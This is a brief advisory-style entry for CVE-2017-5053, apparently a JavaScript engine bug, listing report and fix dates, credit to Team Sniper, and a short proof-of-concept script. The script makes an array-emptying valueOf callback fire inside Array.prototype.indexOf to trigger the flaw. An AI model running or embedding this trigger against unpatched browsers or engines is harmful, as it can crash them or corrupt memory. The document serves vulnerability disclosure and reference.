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CVE-2017-5053.md

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CVE-2017-5053

  • Report: Mar 2017
  • Fix: Mar 2017
  • Credit: Team Sniper (Keen Lab and PC Mgr)

PoC

arr=[];
for (var i = 0; i < 100000; i++)
    arr[i] = [];
arr.indexOf(new Object(), {valueOf:function(){arr.length = 0}})

Reference